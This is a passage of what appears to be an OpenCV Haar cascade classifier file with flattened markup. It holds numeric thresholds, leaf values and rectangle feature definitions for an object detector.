1.1747940443456173e-03 + + 5.3498882055282593e-01 4.6050581336021423e-01 + <_> + + 0 -1 1996 5.2457437850534916e-03 + + 5.0491911172866821e-01 2.9415771365165710e-01 + <_> + + 0 -1 1997 -2.4539720267057419e-02 + + 2.5501778721809387e-01 5.2185869216918945e-01 + <_> + + 0 -1 1998 7.3793041519820690e-04 + + 4.4248610734939575e-01 5.4908162355422974e-01 + <_> + + 0 -1 1999 1.4233799884095788e-03 + + 5.3195142745971680e-01 4.0813559293746948e-01 + <_> + + 0 -1 2000 -2.4149110540747643e-03 + + 4.0876591205596924e-01 5.2389502525329590e-01 + <_> + + 0 -1 2001 -1.2165299849584699e-03 + + 5.6745791435241699e-01 4.9080529808998108e-01 + <_> + + 0 -1 2002 -1.2438809499144554e-03 + + 4.1294258832931519e-01 5.2561181783676147e-01 + <_> + + 0 -1 2003 6.1942739412188530e-03 + + 5.0601941347122192e-01 7.3136532306671143e-01 + <_> + + 0 -1 2004 -1.6607169527560472e-03 + + 5.9796321392059326e-01 4.5963698625564575e-01 + <_> + + 0 -1 2005 -2.7316259220242500e-02 + + 4.1743651032447815e-01 5.3088420629501343e-01 + <_> + + 0 -1 2006 -1.5845570014789701e-03 + + 5.6158047914505005e-01 4.5194861292839050e-01 + <_> + + 0 -1 2007 -1.5514739789068699e-03 + + 4.0761870145797729e-01 5.3607851266860962e-01 + <_> + + 0 -1 2008 3.8446558755822480e-04 + + 4.3472939729690552e-01 5.4304420948028564e-01 + <_> + + 0 -1 2009 -1.4672259800136089e-02 + + 1.6593049466609955e-01 5.1460939645767212e-01 + <_> + + 0 -1 2010 8.1608882173895836e-03 + + 4.9618190526962280e-01 1.8847459554672241e-01 + <_> + + 0 -1 2011 1.1121659772470593e-03 + + 4.8682639002799988e-01 6.0938161611557007e-01 + <_> + + 0 -1 2012 -7.2603770531713963e-03 + + 6.2843251228332520e-01 4.6903759241104126e-01 + <_> + + 0 -1 2013 -2.4046430189628154e-04 + + 5.5750000476837158e-01 4.0460440516471863e-01 + <_> + + 0 -1 2014 -2.3348190006799996e-04 + + 4.1157621145248413e-01 5.2528482675552368e-01 + <_> + + 0 -1 2015 5.5736480280756950e-03 + + 4.7300729155540466e-01 5.6901007890701294e-01 + <_> + + 0 -1 2016 3.0623769387602806e-02 + + 4.9718868732452393e-01 1.7400950193405151e-01 + <_> + + 0 -1 2017 9.2074798885732889e-04 + + 5.3721177577972412e-01 4.3548721075057983e-01 + <_> + + 0 -1 2018 -4.3550739064812660e-05 + + 5.3668838739395142e-01 4.3473169207572937e-01 + <_> + + 0 -1 2019 -6.6452710889279842e-03 + + 3.4355181455612183e-01 5.1605331897735596e-01 + <_> + + 0 -1 2020 4.3221998959779739e-02 + + 4.7667920589447021e-01 7.2936528921127319e-01 + <_> + + 0 -1 2021 2.2331769578158855e-03 + + 5.0293159484863281e-01 5.6331712007522583e-01 + <_> + + 0 -1 2022 3.1829739455133677e-03 + + 4.0160921216011047e-01 5.1921367645263672e-01 + <_> + + 0 -1 2023 -1.8027749320026487e-04 + + 4.0883159637451172e-01 5.4179197549819946e-01 + <_> + + 0 -1 2024 -5.2934689447283745e-03 + + 4.0756770968437195e-01 5.2435618638992310e-01 + <_> + + 0 -1 2025 1.2750959722325206e-03 + + 4.9132829904556274e-01 6.3870108127593994e-01 + <_> + + 0 -1 2026 4.3385322205722332e-03 + + 5.0316721200942993e-01 2.9473468661308289e-01 + <_> + + 0 -1 2027 8.5250744596123695e-03 + + 4.9497890472412109e-01 6.3088691234588623e-01 + <_> + + 0 -1 2028 -9.4266352243721485e-04 + + 5.3283667564392090e-01 4.2856499552726746e-01 + <_> + + 0 -1 2029 1.3609660090878606e-03 + + 4.9915251135826111e-01 5.9415012598037720e-01 + <_> + + 0 -1 2030 4.4782509212382138e-04 + + 4.5735040307044983e-01 5.8544808626174927e-01 + <_> + + 0 -1 2031 1.3360050506889820e-03 + + 4.6043589711189270e-01 5.8490520715713501e-01 + <_> + + 0 -1 2032 -6.0967548051849008e-04 + + 3.9693889021873474e-01 5.2294230461120605e-01 + <_> + + 0 -1 2033 -2.3656780831515789e-03 + + 5.8083200454711914e-01 4.8983570933341980e-01 + <_> + + 0 -1 2034 1.0734340175986290e-03 + + 4.3512108922004700e-01 5.4700392484664917e-01 + <_> + + 0 -1 2035 2.1923359017819166e-03 + + 5.3550601005554199e-01 3.8429039716720581e-01 + <_> + + 0 -1 2036 5.4968618787825108e-03 + + 5.0181388854980469e-01 2.8271919488906860e-01 + <_> + + 0 -1 2037 -7.5368821620941162e-02 + + 1.2250760197639465e-01 5.1488268375396729e-01 + <_> + + 0 -1 2038 2.5134470313787460e-02 + + 4.7317668795585632e-01 7.0254462957382202e-01 + <_> + + 0 -1 2039 -2.9358599931583740e-05 + + 5.4305320978164673e-01 4.6560868620872498e-01 + <_> + + 0 -1 2040 -5.8355910005047917e-04 + + 4.0310400724411011e-01 5.1901197433471680e-01 + <_> + + 0 -1 2041 -2.6639450807124376e-03 + + 4.3081268668174744e-01 5.1617711782455444e-01 + <_> + + 0 -1 2042 -1.3804089976474643e-03 + + 6.2198299169540405e-01 4.6955159306526184e-01 + <_> + + 0 -1 2043 1.2313219485804439e-03 + + 5.3793638944625854e-01 4.4258311390876770e-01 + <_> + + 0 -1 2044 -1.4644179827882908e-05 + + 5.2816402912139893e-01 4.2225030064582825e-01 + <_> + + 0 -1 2045 -1.2818809598684311e-02 + + 2.5820928812026978e-01 5.1799327135086060e-01 + <_> + + 0 -1 2046 2.2852189838886261e-02 + + 4.7786930203437805e-01 7.6092642545700073e-01 + <_> + + 0 -1 2047 8.2305970136076212e-04 + + 5.3409922122955322e-01 4.6717241406440735e-01 + <_> + + 0 -1 2048 1.2770120054483414e-02 + + 4.9657610058784485e-01 1.4723660051822662e-01 + <_> + + 0 -1 2049 -5.0051510334014893e-02 + + 6.4149940013885498e-01 5.0165921449661255e-01 + <_> + + 0 -1 2050 1.5775270760059357e-02 + + 4.5223200321197510e-01 5.6853622198104858e-01 + <_> + + 0 -1 2051 -1.8501620739698410e-02 + + 2.7647489309310913e-01 5.1379591226577759e-01 + <_> + + 0 -1 2052 2.4626250378787518e-03 + + 5.1419419050216675e-01 3.7954080104827881e-01 + <_> + + 0 -1 2053 6.2916167080402374e-02 + + 5.0606489181518555e-01 6.5804338455200195e-01 + <_> + + 0 -1 2054 -2.1648500478477217e-05 + + 5.1953881978988647e-01 4.0198868513107300e-01 + <_> + + 0 -1 2055 2.1180990152060986e-03 + + 4.9623650312423706e-01 5.9544587135314941e-01 + <_> + + 0 -1 2056 -1.6634890809655190e-02 + + 3.7579330801963806e-01 5.1754468679428101e-01 + <_> + + 0 -1 2057 -2.8899470344185829e-03 + + 6.6240137815475464e-01 5.0571787357330322e-01 + <_> + + 0 -1 2058 7.6783262193202972e-02 + + 4.7957968711853027e-01 8.0477148294448853e-01 + <_> + + 0 -1 2059 3.9170677773654461e-03 + + 4.9378821253776550e-01 5.7199418544769287e-01 + <_> + + 0 -1 2060 -7.2670601308345795e-02 + + 5.3894560784101486e-02 4.9439039826393127e-01 + <_> + + 0 -1 2061 5.4039502143859863e-01 + + 5.1297742128372192e-01 1.1433389782905579e-01 + <_> + + 0 -1 2062 2.9510019812732935e-03 + + 4.5283439755439758e-01 5.6985741853713989e-01 + <_> + + 0 -1 2063 3.4508369863033295e-03 + + 5.3577268123626709e-01 4.2187309265136719e-01 + <_> + + 0 -1 2064 -4.2077939724549651e-04 + + 5.9161728620529175e-01 4.6379259228706360e-01 + <_> + + 0 -1 2065 3.3051050268113613e-03 + + 5.2733850479125977e-01 4.3820428848266602e-01 + <_> + + 0 -1 2066 4.7735060798004270e-04 + + 4.0465280413627625e-01 5.1818847656250000e-01 + <_> + + 0 -1 2067 -2.5928510352969170e-02 + + 7.4522358179092407e-01 5.0893861055374146e-01 + <_> + + 0 -1 2068 -2.9729790985584259e-03 + + 3.2954359054565430e-01 5.0587952136993408e-01 + <_> + + 0 -1 2069 5.8508329093456268e-03 + + 4.8571440577507019e-01 5.7930248975753784e-01 + <_> + + 0 -1 2070 -4.5967519283294678e-02 + + 4.3127310276031494e-01 5.3806531429290771e-01 + <_> + + 0 -1 2071 1.5585960447788239e-01 + + 5.1961702108383179e-01 1.6847139596939087e-01 + <_> + + 0 -1 2072 1.5164829790592194e-02 + + 4.7357571125030518e-01 6.7350268363952637e-01 + <_> + + 0 -1 2073 -1.0604249546304345e-03 + + 5.8229267597198486e-01 4.7757029533386230e-01 + <_> + + 0 -1 2074 6.6476291976869106e-03 + + 4.9991989135742188e-01 2.3195350170135498e-01 + <_> + + 0 -1 2075 -1.2231130152940750e-02 + + 4.7508931159973145e-01 5.2629822492599487e-01 + <_> + + 0 -1 2076 5.6528882123529911e-03 + + 5.0697678327560425e-01 3.5618188977241516e-01 + <_> + + 0 -1 2077 1.2977829901501536e-03 + + 4.8756939172744751e-01 5.6190627813339233e-01 + <_> + + 0 -1 2078 1.0781589895486832e-02 + + 4.7507700324058533e-01 6.7823082208633423e-01 + <_> + + 0 -1 2079 2.8654779307544231e-03 + + 5.3054618835449219e-01 4.2907360196113586e-01 + <_> + + 0 -1 2080 2.8663428965955973e-03 + + 4.5184791088104248e-01 5.5393511056900024e-01 + <_> + + 0 -1 2081 -5.1983320154249668e-03 + + 4.1491198539733887e-01 5.4341888427734375e-01 + <_> + + 0 -1 2082 5.3739990107715130e-03 + + 4.7178968787193298e-01 6.5076571702957153e-01 + <_> + + 0 -1 2083 -1.4641529880464077e-02 + + 2.1721640229225159e-01 5.1617771387100220e-01 + <_> + + 0 -1 2084 -1.5042580344015732e-05 + + 5.3373837471008301e-01 4.2988368868827820e-01 + <_> + + 0 -1 2085 -1.1875660129589960e-04 + + 4.6045941114425659e-01 5.5824470520019531e-01 + <_> + + 0 -1 2086 1.6995530575513840e-02 + + 4.9458950757980347e-01 7.3880076408386230e-02 + <_> + + 0 -1 2087 -3.5095941275358200e-02 + + 7.0055091381072998e-01 4.9775910377502441e-01 + <_> + + 0 -1 2088 2.4217350874096155e-03 + + 4.4662651419639587e-01 5.4776942729949951e-01 + <_> + + 0 -1 2089 -9.6340337768197060e-04 + + 4.7140988707542419e-01 5.3133380413055420e-01 + <_> + + 0 -1 2090 1.6391130338888615e-04 + + 4.3315461277961731e-01 5.3422421216964722e-01 + <_> + + 0 -1 2091 -2.1141460165381432e-02 + + 2.6447001099586487e-01 5.2044987678527832e-01 + <_> + + 0 -1 2092 8.7775202700868249e-04 + + 5.2083498239517212e-01 4.1527429223060608e-01 + <_> + + 0 -1 2093 -2.7943920344114304e-02 + + 6.3441252708435059e-01 5.0188118219375610e-01 + <_> + + 0 -1 2094 6.7297378554940224e-03 + + 5.0504380464553833e-01 3.5008639097213745e-01 + <_> + + 0 -1 2095 2.3281039670109749e-02 + + 4.9663180112838745e-01 6.9686770439147949e-01 + <_> + + 0 -1 2096 -1.1644979938864708e-02 + + 3.3002600073814392e-01 5.0496298074722290e-01 + <_> + + 0 -1 2097 1.5764309093356133e-02 + + 4.9915981292724609e-01 7.3211538791656494e-01 + <_> + + 0 -1 2098 -1.3611479662358761e-03 + + 3.9117351174354553e-01 5.1606708765029907e-01 + <_> + + 0 -1 2099 -8.1522337859496474e-04 + + 5.6289112567901611e-01 4.9497190117835999e-01 + <_> + + 0 -1 2100 -6.0066272271797061e-04 + + 5.8535951375961304e-01 4.5505958795547485e-01 + <_> + + 0 -1 2101 4.9715518252924085e-04 + + 4.2714700102806091e-01 5.4435992240905762e-01 + <_> + + 0 -1 2102 2.3475370835512877e-03 + + 5.1431107521057129e-01 3.8876569271087646e-01 + <_> + + 0 -1 2103 -8.9261569082736969e-03 + + 6.0445022583007812e-01 4.9717208743095398e-01 + <_> + + 0 -1 2104 -1.3919910416007042e-02 + + 2.5831609964370728e-01 5.0003677606582642e-01 + <_> + + 0 -1 2105 1.0209949687123299e-03 + + 4.8573741316795349e-01 5.5603581666946411e-01 + <_> + + 0 -1 2106 -2.7441629208624363e-03 + + 5.9368848800659180e-01 4.6457770466804504e-01 + <_> + + 0 -1 2107 -1.6200130805373192e-02 + + 3.1630149483680725e-01 5.1934951543807983e-01 + <_> + + 0 -1 2108 4.3331980705261230e-03 + + 5.0612241029739380e-01 3.4588789939880371e-01 + <_> + + 0 -1 2109 5.8497930876910686e-04 + + 4.7790178656578064e-01 5.8701777458190918e-01 + <_> + + 0 -1 2110 -2.2466450463980436e-03 + + 4.2978510260581970e-01 5.3747731447219849e-01 + <_> + + 0 -1 2111 2.3146099410951138e-03 + + 5.4386717081069946e-01 4.6409699320793152e-01 + <_> + + 0 -1 2112 8.7679121643304825e-03 + + 4.7268930077552795e-01 6.7717897891998291e-01 + <_> + + 0 -1 2113 -2.2448020172305405e-04 + + 4.2291730642318726e-01 5.4280489683151245e-01 + <_> + + 0 -1 2114 -7.4336021207273006e-03 + + 6.0988807678222656e-01 4.6836739778518677e-01 + <_> + + 0 -1 2115 -2.3189240600913763e-03 + + 5.6894367933273315e-01 4.4242420792579651e-01 + <_> + + 0 -1 2116 -2.1042178850620985e-03 + + 3.7622210383415222e-01 5.1870870590209961e-01 + <_> + + 0 -1 2117 4.6034841216169298e-04 + + 4.6994051337242126e-01 5.7712072134017944e-01 + <_> + + 0 -1 2118 1.0547629790380597e-03 + + 4.4652169942855835e-01 5.6017017364501953e-01 + <_> + + 0 -1 2119 8.7148818420246243e-04 + + 5.4498052597045898e-01 3.9147090911865234e-01 + <_> + + 0 -1 2120 3.3364820410497487e-04 + + 4.5640090107917786e-01 5.6457388401031494e-01 + <_> + + 0 -1 2121 -1.4853250468149781e-03 + + 5.7473778724670410e-01 4.6927788853645325e-01 + <_> + + 0 -1 2122 3.0251620337367058e-03 + + 5.1661968231201172e-01 3.7628141045570374e-01 + <_> + + 0 -1 2123 5.0280741415917873e-03 + + 5.0021117925643921e-01 6.1515271663665771e-01 + <_> + + 0 -1 2124 -5.8164511574432254e-04 + + 5.3945982456207275e-01 4.3907511234283447e-01 + <_> + + 0 -1 2125 4.5141529291868210e-02 + + 5.1883268356323242e-01 2.0630359649658203e-01 + <_> + + 0 -1 2126 -1.0795620037242770e-03 + + 3.9046850800514221e-01 5.1379072666168213e-01 + <_> + + 0 -1 2127 1.5995999274309725e-04 + + 4.8953229188919067e-01 5.4275041818618774e-01 + <_> + + 0 -1 2128 -1.9359270110726357e-02 + + 6.9752287864685059e-01 4.7735071182250977e-01 + <_> + + 0 -1 2129 2.0725509524345398e-01 + + 5.2336359024047852e-01 3.0349919199943542e-01 + <_> + + 0 -1 2130 -4.1953290929086506e-04 + + 5.4193967580795288e-01 4.4601860642433167e-01 + <_> + + 0 -1 2131 2.2582069505006075e-03 + + 4.8157641291618347e-01 6.0274088382720947e-01 + <_> + + 0 -1 2132 -6.7811207845807076e-03 + + 3.9802789688110352e-01 5.1833057403564453e-01 + <_> + + 0 -1 2133 1.1154309846460819e-02 + + 5.4312318563461304e-01 4.1887599229812622e-01 + <_> + + 0 -1 2134 4.3162431567907333e-02 + + 4.7382280230522156e-01 6.5229612588882446e-01 + + <_> + + <_> + 3 7 14 4 -1. + <_> + 3 9 14 2 2. + <_> + + <_> + 1 2 18 4 -1. + <_> + 7 2 6 4 3. + <_> + + <_> + 1 7 15 9 -1. + <_> + 1 10 15 3 3. + <_> + + <_> + 5 6 2 6 -1. + <_> + 5 9 2 3 2. + <_> + + <_> + 7 5 6 3 -1. + <_> + 9 5 2 3 3. + <_> + + <_> + 4 0 12 9 -1. + <_> + 4 3 12 3 3. + <_> + + <_> + 6 9 10 8 -1. + <_> + 6 13 10 4 2. + <_> + + <_> + 3 6 14 8 -1. + <_> + 3 10 14 4 2. + <_> + + <_> + 14 1 6 10 -1. + <_> + 14 1 3 10 2. + <_> + + <_> + 7 8 5 12 -1. + <_> + 7 12 5 4 3. + <_> + + <_> + 1 1 18 3 -1. + <_> + 7 1 6 3 3. + <_> + + <_> + 1 8 17 2 -1. + <_> + 1 9 17 1 2. + <_> + + <_> + 16 6 4 2 -1. + <_> + 16 7 4 1 2. + <_> + + <_> + 5 17 2 2 -1. + <_> + 5 18 2 1 2. + <_> + + <_> + 14 2 6 12 -1. + <_> + 14 2 3 12 2. + <_> + + <_> + 4 0 4 12 -1. + <_> + 4 0 2 6 2. + <_> + 6 6 2 6 2. + <_> + + <_> + 2 11 18 8 -1. + <_> + 8 11 6 8 3. + <_> + + <_> + 5 7 10 2 -1. + <_> + 5 8 10 1 2. + <_> + + <_> + 15 11 5 3 -1. + <_> + 15 12 5 1 3. + <_> + + <_> + 5 3 10 9 -1. + <_> + 5 6 10 3 3. + <_> + + <_> + 9 4 2 14 -1. + <_> + 9 11 2 7 2. + <_> + + <_> + 3 5 4 12 -1. + <_> + 3 9 4 4 3. + <_> + + <_> + 4 5 12 5 -1. + <_> + 8 5 4 5 3. + <_> + + <_> + 5 6 10 8 -1. + <_> + 5 10 10 4 2. + <_> + + <_> + 8 0 6 9 -1. + <_> + 8 3 6 3 3. + <_> + + <_> + 9 12 1 8 -1. + <_> + 9 16 1 4 2. + <_> + + <_> + 0 7 20 6 -1. + <_> + 0 9 20 2 3. + <_> + + <_> + 7 0 6 17 -1. + <_> + 9 0 2 17 3. + <_> + + <_> + 9 0 6 4 -1. + <_> + 11 0 2 4 3. + <_> + + <_> + 5 1 6 4 -1. + <_> + 7 1 2 4 3. + <_> + + <_> + 12 1 6 16 -1. + <_> + 14 1 2 16 3. + <_> + + <_> + 0 5 18 8 -1. + <_> + 0 5 9 4 2. + <_> + 9 9 9 4 2. + <_> + + <_> + 8 15 10 4 -1. + <_> + 13 15 5 2 2. + <_> + 8 17 5 2 2. + <_> + + <_> + 3 1 4 8 -1. + <_> + 3 1 2 4 2. + <_> + 5 5 2 4 2. + <_> + + <_> + 3 6 14 10 -1. + <_> + 10 6 7 5 2. + <_> + 3 11 7 5 2. + <_> + + <_> + 2 1 6 16 -1. + <_> + 4 1 2 16 3. + <_> + + <_> + 0 18 20 2 -1. + <_> + 0 19 20 1 2. + <_> + + <_> + 8 13 4 3 -1. + <_> + 8 14 4 1 3. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 0 12 9 6 -1. + <_> + 0 14 9 2 3. + <_> + + <_> + 5 7 3 4 -1. + <_> + 5 9 3 2 2. + <_> + + <_> + 9 3 2 16 -1. + <_> + 9 11 2 8 2. + <_> + + <_> + 3 6 13 8 -1. + <_> + 3 10 13 4 2. + <_> + + <_> + 12 3 8 2 -1. + <_> + 12 3 4 2 2. + <_> + + <_> + 8 8 4 12 -1. + <_> + 8 12 4 4 3. + <_> + + <_> + 11 3 8 6 -1. + <_> + 15 3 4 3 2. + <_> + 11 6 4 3 2. + <_> + + <_> + 7 1 6 19 -1. + <_> + 9 1 2 19 3. + <_> + + <_> + 9 0 6 4 -1. + <_> + 11 0 2 4 3. + <_> + + <_> + 3 1 9 3 -1. + <_> + 6 1 3 3 3. + <_> + + <_> + 8 15 10 4 -1. + <_> + 13 15 5 2 2. + <_> + 8 17 5 2 2. + <_> + + <_> + 0 3 6 10 -1. + <_> + 3 3 3 10 2. + <_> + + <_> + 3 4 15 15 -1. + <_> + 3 9 15 5 3. + <_> + + <_> + 6 5 8 6 -1. + <_> + 6 7 8 2 3. + <_> + + <_> + 4 4 12 10 -1. + <_> + 10 4 6 5 2. + <_> + 4 9 6 5 2. + <_> + + <_> + 6 4 4 4 -1. + <_> + 8 4 2 4 2. + <_> + + <_> + 15 11 1 2 -1. + <_> + 15 12 1 1 2. + <_> + + <_> + 3 11 2 2 -1. + <_> + 3 12 2 1 2. + <_> + + <_> + 16 11 1 3 -1. + <_> + 16 12 1 1 3. + <_> + + <_> + 3 15 6 4 -1. + <_> + 3 15 3 2 2. + <_> + 6 17 3 2 2. + <_> + + <_> + 6 7 8 2 -1. + <_> + 6 8 8 1 2. + <_> + + <_> + 3 11 1 3 -1. + <_> + 3 12 1 1 3. + <_> + + <_> + 6 0 12 2 -1. + <_> + 6 1 12 1 2. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 7 15 6 2 -1. + <_> + 7 16 6 1 2. + <_> + + <_> + 0 5 4 6 -1. + <_> + 0 7 4 2 3. + <_> + + <_> + 4 12 12 2 -1. + <_> + 8 12 4 2 3. + <_> + + <_> + 6 3 1 9 -1. + <_> + 6 6 1 3 3. + <_> + + <_> + 10 17 3 2 -1. + <_> + 11 17 1 2 3. + <_> + + <_> + 9 9 2 2 -1. + <_> + 9 10 2 1 2. + <_> + + <_> + 7 6 6 4 -1. + <_> + 9 6 2 4 3. + <_> + + <_> + 7 17 3 2 -1. + <_> + 8 17 1 2 3. + <_> + + <_> + 10 17 3 3 -1. + <_> + 11 17 1 3 3. + <_> + + <_> + 8 12 3 2 -1. + <_> + 8 13 3 1 2. + <_> + + <_> + 9 3 6 2 -1. + <_> + 11 3 2 2 3. + <_> + + <_> + 3 11 14 4 -1. + <_> + 3 13 14 2 2. + <_> + + <_> + 1 10 18 4 -1. + <_> + 10 10 9 2 2. + <_> + 1 12 9 2 2. + <_> + + <_> + 0 10 3 3 -1. + <_> + 0 11 3 1 3. + <_> + + <_> + 9 1 6 6 -1. + <_> + 11 1 2 6 3. + <_> + + <_> + 8 7 3 6 -1. + <_> + 9 7 1 6 3. + <_> + + <_> + 1 0 18 9 -1. + <_> + 1 3 18 3 3. + <_> + + <_> + 12 10 2 6 -1. + <_> + 12 13 2 3 2. + <_> + + <_> + 0 5 19 8 -1. + <_> + 0 9 19 4 2. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 5 3 6 1 -1. + <_> + 7 3 2 1 3. + <_> + + <_> + 11 3 6 1 -1. + <_> + 13 3 2 1 3. + <_> + + <_> + 5 10 4 6 -1. + <_> + 5 13 4 3 2. + <_> + + <_> + 11 3 6 1 -1. + <_> + 13 3 2 1 3. + <_> + + <_> + 4 4 12 6 -1. + <_> + 4 6 12 2 3. + <_> + + <_> + 15 12 2 6 -1. + <_> + 15 14 2 2 3. + <_> + + <_> + 9 3 2 2 -1. + <_> + 10 3 1 2 2. + <_> + + <_> + 9 3 3 1 -1. + <_> + 10 3 1 1 3. + <_> + + <_> + 1 1 4 14 -1. + <_> + 3 1 2 14 2. + <_> + + <_> + 9 0 4 4 -1. + <_> + 11 0 2 2 2. + <_> + 9 2 2 2 2. + <_> + + <_> + 7 5 1 14 -1. + <_> + 7 12 1 7 2. + <_> + + <_> + 19 0 1 4 -1. + <_> + 19 2 1 2 2. + <_> + + <_> + 5 5 6 4 -1. + <_> + 8 5 3 4 2. + <_> + + <_> + 9 18 3 2 -1. + <_> + 10 18 1 2 3. + <_> + + <_> + 8 18 3 2 -1. + <_> + 9 18 1 2 3. + <_> + + <_> + 4 5 12 6 -1. + <_> + 4 7 12 2 3. + <_> + + <_> + 3 12 2 6 -1. + <_> + 3 14 2 2 3. + <_> + + <_> + 10 8 2 12 -1. + <_> + 10 12 2 4 3. + <_> + + <_> + 7 18 3 2 -1. + <_> + 8 18 1 2 3. + <_> + + <_> + 9 0 6 2 -1. + <_> + 11 0 2 2 3. + <_> + + <_> + 5 11 9 3 -1. + <_> + 5 12 9 1 3. + <_> + + <_> + 9 0 6 2 -1. + <_> + 11 0 2 2 3. + <_> + + <_> + 1 1 18 5 -1. + <_> + 7 1 6 5 3. + <_> + + <_> + 8 0 4 4 -1. + <_> + 10 0 2 2 2. + <_> + 8 2 2 2 2. + <_> + + <_> + 3 12 1 3 -1. + <_> + 3 13 1 1 3. + <_> + + <_> + 8 14 5 3 -1. + <_> + 8 15 5 1 3. + <_> + + <_> + 5 4 10 12 -1. + <_> + 5 4 5 6 2. + <_> + 10 10 5 6 2. + <_> + + <_> + 9 6 9 12 -1. + <_> + 9 10 9 4 3. + <_> + + <_> + 2 2 12 14 -1. + <_> + 2 2 6 7 2. + <_> + 8 9 6 7 2. + <_> + + <_> + 4 7 12 2 -1. + <_> + 8 7 4 2 3. + <_> + + <_> + 7 4 6 4 -1. + <_> + 7 6 6 2 2. + <_> + + <_> + 4 5 11 8 -1. + <_> + 4 9 11 4 2. + <_> + + <_> + 3 10 16 4 -1. + <_> + 3 12 16 2 2. + <_> + + <_> + 0 0 16 2 -1. + <_> + 0 1 16 1 2. + <_> + + <_> + 7 5 6 2 -1. + <_> + 9 5 2 2 3. + <_> + + <_> + 3 2 6 10 -1. + <_> + 3 2 3 5 2. + <_> + 6 7 3 5 2. + <_> + + <_> + 10 5 8 15 -1. + <_> + 10 10 8 5 3. + <_> + + <_> + 3 14 8 6 -1. + <_> + 3 14 4 3 2. + <_> + 7 17 4 3 2. + <_> + + <_> + 14 2 2 2 -1. + <_> + 14 3 2 1 2. + <_> + + <_> + 1 10 7 6 -1. + <_> + 1 13 7 3 2. + <_> + + <_> + 15 4 4 3 -1. + <_> + 15 4 2 3 2. + <_> + + <_> + 2 9 14 6 -1. + <_> + 2 9 7 3 2. + <_> + 9 12 7 3 2. + <_> + + <_> + 5 7 10 4 -1. + <_> + 5 9 10 2 2. + <_> + + <_> + 6 9 8 8 -1. + <_> + 6 9 4 4 2. + <_> + 10 13 4 4 2. + <_> + + <_> + 14 1 3 2 -1. + <_> + 14 2 3 1 2. + <_> + + <_> + 1 4 4 2 -1. + <_> + 3 4 2 2 2. + <_> + + <_> + 11 10 2 8 -1. + <_> + 11 14 2 4 2. + <_> + + <_> + 0 0 5 3 -1. + <_> + 0 1 5 1 3. + <_> + + <_> + 2 5 18 8 -1. + <_> + 11 5 9 4 2. + <_> + 2 9 9 4 2. + <_> + + <_> + 6 6 1 6 -1. + <_> + 6 9 1 3 2. + <_> + + <_> + 19 1 1 3 -1. + <_> + 19 2 1 1 3. + <_> + + <_> + 7 6 6 6 -1. + <_> + 9 6 2 6 3. + <_> + + <_> + 19 1 1 3 -1. + <_> + 19 2 1 1 3. + <_> + + <_> + 3 13 2 3 -1. + <_> + 3 14 2 1 3. + <_> + + <_> + 8 4 8 12 -1. + <_> + 12 4 4 6 2. + <_> + 8 10 4 6 2. + <_> + + <_> + 5 2 6 3 -1. + <_> + 7 2 2 3 3. + <_> + + <_> + 6 1 9 10 -1. + <_> + 6 6 9 5 2. + <_> + + <_> + 0 4 6 12 -1. + <_> + 2 4 2 12 3. + <_> + + <_> + 15 13 2 3 -1. + <_> + 15 14 2 1 3. + <_> + + <_> + 7 14 5 3 -1. + <_> + 7 15 5 1 3. + <_> + + <_> + 15 13 3 3 -1. + <_> + 15 14 3 1 3. + <_> + + <_> + 6 14 8 3 -1. + <_> + 6 15 8 1 3. + <_> + + <_> + 15 13 3 3 -1. + <_> + 15 14 3 1 3. + <_> + + <_> + 2 13 3 3 -1. + <_> + 2 14 3 1 3. + <_> + + <_> + 4 7 12 12 -1. + <_> + 10 7 6 6 2. + <_> + 4 13 6 6 2. + <_> + + <_> + 9 7 2 6 -1. + <_> + 10 7 1 6 2. + <_> + + <_> + 8 9 5 2 -1. + <_> + 8 10 5 1 2. + <_> + + <_> + 8 6 3 4 -1. + <_> + 9 6 1 4 3. + <_> + + <_> + 9 6 2 8 -1. + <_> + 9 10 2 4 2. + <_> + + <_> + 7 7 3 6 -1. + <_> + 8 7 1 6 3. + <_> + + <_> + 11 3 3 3 -1. + <_> + 12 3 1 3 3. + <_> + + <_> + 5 4 6 1 -1. + <_> + 7 4 2 1 3. + <_> + + <_> + 5 6 10 3 -1. + <_> + 5 7 10 1 3. + <_> + + <_> + 7 3 6 9 -1. + <_> + 7 6 6 3 3. + <_> + + <_> + 6 7 9 1 -1. + <_> + 9 7 3 1 3. + <_> + + <_> + 2 8 16 8 -1. + <_> + 2 12 16 4 2. + <_> + + <_> + 14 6 2 6 -1. + <_> + 14 9 2 3 2. + <_> + + <_> + 1 5 6 15 -1. + <_> + 1 10 6 5 3. + <_> + + <_> + 10 0 6 9 -1. + <_> + 10 3 6 3 3. + <_> + + <_> + 6 6 7 14 -1. + <_> + 6 13 7 7 2. + <_> + + <_> + 13 7 3 6 -1. + <_> + 13 9 3 2 3. + <_> + + <_> + 1 8 15 4 -1. + <_> + 6 8 5 4 3. + <_> + + <_> + 11 2 3 10 -1. + <_> + 11 7 3 5 2. + <_> + + <_> + 3 7 4 6 -1. + <_> + 3 9 4 2 3. + <_> + + <_> + 13 3 6 10 -1. + <_> + 15 3 2 10 3. + <_> + + <_> + 5 7 8 10 -1. + <_> + 5 7 4 5 2. + <_> + 9 12 4 5 2. + <_> + + <_> + 4 4 12 12 -1. + <_> + 10 4 6 6 2. + <_> + 4 10 6 6 2. + <_> + + <_> + 1 4 6 9 -1. + <_> + 3 4 2 9 3. + <_> + + <_> + 11 3 2 5 -1. + <_> + 11 3 1 5 2. + <_> + + <_> + 7 3 2 5 -1. + <_> + 8 3 1 5 2. + <_> + + <_> + 10 14 2 3 -1. + <_> + 10 15 2 1 3. + <_> + + <_> + 5 12 6 2 -1. + <_> + 8 12 3 2 2. + <_> + + <_> + 9 14 2 3 -1. + <_> + 9 15 2 1 3. + <_> + + <_> + 4 11 12 6 -1. + <_> + 4 14 12 3 2. + <_> + + <_> + 11 11 5 9 -1. + <_> + 11 14 5 3 3. + <_> + + <_> + 6 15 3 2 -1. + <_> + 6 16 3 1 2. + <_> + + <_> + 11 0 3 5 -1. + <_> + 12 0 1 5 3. + <_> + + <_> + 5 5 6 7 -1. + <_> + 8 5 3 7 2. + <_> + + <_> + 13 0 1 9 -1. + <_> + 13 3 1 3 3. + <_> + + <_> + 3 2 4 8 -1. + <_> + 3 2 2 4 2. + <_> + 5 6 2 4 2. + <_> + + <_> + 13 12 4 6 -1. + <_> + 13 14 4 2 3. + <_> + + <_> + 3 